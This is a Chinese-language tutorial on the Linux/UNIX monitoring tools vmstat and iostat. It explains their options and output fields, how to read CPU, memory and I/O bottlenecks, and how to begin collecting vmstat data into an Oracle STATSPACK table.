      vmstat的语法如下:vmstat [-V] [-n] [delay [count]]其中,-V表示打印出版本信息;-n表示在周期性循环输出时,输出的头部信息仅显示一次;delay是两次输出之间的延迟时间;count是指按照这个时间间隔统计的次数。对于vmstat输出各字段的含义,可运行man vmstat查看。
     
      用iostat监视I/O子系统情况iostat是I/O statistics(输入/输出统计)的缩写,iostat工具将对系统的磁盘操作活动进行监视。它的特点是汇报磁盘活动统计情况,同时也会汇报出CPU使用情况。同vmstat一样,iostat也有一个弱点,就是它不能对某个进程进行深入分析,仅对系统的整体情况进行分析。
     
      iostat的语法如下:iostat [ -c | -d ] [ -k ] [ -t ] [ -V ] [ -x [ device ] ] [ interval [ count ] ]其中,-c为汇报CPU的使用情况;-d为汇报磁盘的使用情况;-k表示每秒按kilobytes字节显示数据;-t为打印汇报的时间;-v表示打印出版本信息和用法;-x device指定要统计的设备名称,默认为所有的设备;interval指每次统计间隔的时间;count指按照这个时间间隔统计的次数。
     
      iostat一般的输出格式如下:Linux 2.4.18-18smp (builder.linux.com) 2003年03月07日avg-cpu: %user %nice %sys %idle 4.81 0.01 1.03 94.15 Device: tps Blk_read/s Blk_wrtn/s Blk_read Blk_wrtn dev3-0 30.31 1117.68 846.52 16104536 12197374 dev3-1 7.06 229.61 40.40 3308486 582080对于输出中各字段的含义,iostat的帮助中有详细的说明。
     
      vmstat 命令报告虚拟内存统计信息和CPU负荷:页面调度,交换,任务交换,CPU利用率。命令的语法是:vmstat [-cisS] [d1 d2 d3 d4] [interval [count]]当不用选项时,vmstat显示一条曲线表示自从系统启动后活动的信息。如果指定interval(时间间隔),接下来的线是重复显示最后的interval期间活动的情况,直到用户中断命令执行。当同时提供计数器时,统计信息按时间计数来显示。
     
      如果指定了一个磁盘名(如d1,d2,等等。),这些磁盘得到优先显示。通常,系统上的前4个磁盘设备是显示的,因为只有四个设备能在一线条上显示,这个选项允许性能分析员修改缺省显示选项。(*磁盘名通常随id,sd,xd,或xy (取决于类型和I/0界面)加一个数字,如id0,sd2,xd1等等命名而定。),vmstat 命令显示若干字段信息:procs 报表下面三种状态的进程数:r——在运行队列中等候运行b——被资源阻塞(I/0,页面调度,等等。)
     
      w——可运行但是被换出的memory 报告虚拟内存和实存信息:swap——以千字节为单位的当前可用交换空间的数量free——以千字节为单位的页自由表大小page 报告每秒页面调度活动数量的信息:re-从自由表回收页mf——次要的错误;地址空间或硬件地址转换错误pi——页入的千字节数po -页出的千字节数fr- 释放的千字节数de——以千字节为单位的可接受的短期内存不足数sr——页由时钟算法扫描disk 可以为四个磁盘报告每秒磁盘I/O的数量faults 报告每秒系统软件中断和硬件中断的速率in-设备中断,不包括系统时钟中断sy-系统调用cs-CPU任务(上下文)交换cpu—— CPU故障时间的百分比,在多处理器系统上,这是全部处理器的平均值:us- 用户时间sy—— 系统时间id—— 闲置时间vmstat命令有四个可选标志可供使用。如果机器有虚拟地址缓存-c标志就改变输出报告缓存刷新统计数据。报告包括自从系统启动后每种缓存刷新全部总量。六个缓存类型是用户,上下文,区域,段,页,部分页。
     
      -i标志 使输出变为报告中断的数量。如果给出设备名,如d1,d2等,监控将在设备级*执行,(*注,参阅第十二章有关打开设备级监控的信息。)并报告每个给定设备的统计信息。
     
      修改"普通"报告来显示交换而非页面调度活动的信息。这选项改变显示的两个字段:si(换入)和so(换出)替代了re和mf字段。
     
      值得注意是,interval 和count选项对-i或-s选项是非法的。
     
      vmstat 参数详解procs:r——>在运行队列中等待的进程数b——>在等待io的进程数w——>可以进入运行队列但被替换的进程memoy swap——>现时可用的交换内存(k表示)
     
      free——>空闲的内存(k表示)
     
      pages re——》回收的页面mf——》非严重错误的页面pi——》进入页面数(k表示)
     
      po——》出页面数(k表示)
     
      fr——》空余的页面数(k表示)
     
      de——》提前读入的页面中的未命中数sr——》通过时钟算法扫描的页面disk 显示每秒的磁盘操作。 s表示scsi盘,0表示盘号fault 显示每秒的中断数in——》设备中断sy——》系统中断cy——》cpu交换cpu 表示cpu的使用状态cs——》用户进程使用的时间sy——》系统进程使用的时间id——》cpu空闲的时间FIELD DEscrīptIONS Procs r: The number of processes waiting for run time. b: The number of processes in uninterruptable sleep. w: The number of processes swapped out but otherwise runnable. Thisfield is calculated, but Linux never desperation swaps. Memory swpd: the amount of virtual memory used (kB)。
     free: the amount of idle memory (kB)。
     
      buff: the amount of memory used as buffers (kB)。
     
      Swap si: Amount of memory swapped in from disk (kB/s)。 虚拟内存的页导入(从SWAP DISK导入RAM)
     
      so: Amount of memory swapped to disk (kB/s)。 虚拟内存的页导出。
     
      (从RAM到SWAP DISK)
     
      IO bi: Blocks sent to a block device (blocks/s)。写入bo: Blocks received from a block device (blocks/s)。写出System in: The number of interrupts per second, including the clock. cs: The number of context switches per second.: CPU These are percentages of total CPU time. us: user time sy: system time id: idle time如果 r经常大于 4 ,且id经常少于40,表示cpu的负荷很重。
     
      如果pi,po 长期不等于0,表示内存不足。
     
      如果disk 经常不等于0, 且在 b中的队列 大于3, 表示 io性能不好。
     
      由vmstat看服务器说明:由于STATSPACK并不能获取全面分析性能问题所需要的所有信息,所以需要扩展其收集服务器的统计信息。
     
      VMSTAT介绍通过STATSPACK收集服务器信息,主要通过收集VMSTAT的信息来展现服务器状况。VMSTAT工具是最常见的UNIX监控工具,可以展现给定时间间隔的服务器的状态值。
     
      一般VMSTAT工具的使用是通过两个数字参数来完成的,第一个参数是采样的时间间隔数,单位是秒,第二个参数是采样的次数。如:[oracle@brucelau oracle]$ vmstat 1 2 procs memory swap io system  CPU r b w swpd free buff cache  si so bi bo in cs us sy id 1 0 0 0 271844 186052 255852 0 0 2 6 102 10 0 0 100 0 0 0 0 271844 186052 255852 0 0 0 0 104 11 0 0 100(注:目前系统几乎空闲,并且不同操作系统VMSTAT输出内容有所不同)
     
      目前说来,对于服务器监控有用处的度量主要有:r(运行队列)
     
      pi(页导入)
     
      us(用户CPU)
     
      sy(系统CPU)
     
      id(空闲)
     
      通过VMSTAT识别CPU瓶颈r(运行队列)展示了正在执行和等待CPU资源的任务个数。当这个值超过了CPU数目,就会出现CPU瓶颈了。
     
      获得CPU个数的命令(LINUX环境):cat /proc/cpuinfo|grep processor|wc –l当r值超过了CPU个数,就会出现CPU瓶颈,解决办法大体几种:1. 最简单的就是增加CPU个数2. 通过调整任务执行时间,如大任务放到系统不繁忙的情况下进行执行,进尔平衡系统任务3. 调整已有任务的优先级通过VMSTAT识别CPU满负荷首先需要声明一点的是,vmstat中CPU的度量是百分比的。当us+sy的值接近100的时候,表示CPU正在接近满负荷工作。但要注意的是,CPU满负荷工作并不能说明什么,UNIX总是试图要CPU尽可能的繁忙,使得任务的吞吐量最大化。唯一能够确定CPU瓶颈的还是r(运行队列)的值。
     
      通过VMSTAT识别RAM瓶颈数据库服务器都只有有限的RAM,出现内存争用现象是Oracle的常见问题。
     
      首先察看RAM的数量,命令如下(LINUX环境):[root@brucelau root]#free total used free shared buffers cached Mem: 1027348 873312 154036 185736 187496 293964 -/+ buffers/cache: 391852 635496 Swap: 2096440 0 2096440当然可以使用top等其他命令来显示RAM.当内存的需求大于RAM的数量,服务器启动了虚拟内存机制,通过虚拟内存,可以将RAM段移到SWAP DISK的特殊磁盘段上,这样会出现虚拟内存的页导出和页导入现象,页导出并不能说明RAM瓶颈,虚拟内存系统经常会对内存段进行页导出,但页导入操作就表明了服务器需要更多的内存了,页导入需要从SWAP DISK上将内存段复制回RAM,导致服务器速度变慢。
     
      解决的办法有几种:1. 最简单的,加大RAM 2. 改小SGA,使得对RAM需求减少3. 减少RAM的需求(如:减少PGA)
     
      我们基本的了解了VMSTAT工作,下面是STATSPACK通过vmstat统计收集服务器性能数据。
     
      STATSPACK通过vmstat收集服务器信息首先在perfstat用户下建一个存储服务器信息的表:如建表:create table stats$vmstat(start_date date, ——系统时间duration date, ——时间间隔server_name varchar2(20), ——服务器名称runque_waits number, ——运行队列数据page_in number, ——页导入数据page_out number, ——页导出数据user_cpu number, ——用户cpu数据system_cpu number, ——系统cpu数据idle_cpu number, ——空闲cpu数据wait_cpu number –等待cpu数据(只是aix存在))
     
      tablespace perfstat;然后,通过UNIX/LINUX的shell变成,利用vmstat的结果来获取相应的服务器信息,并且存放到表中。

Open Toolbar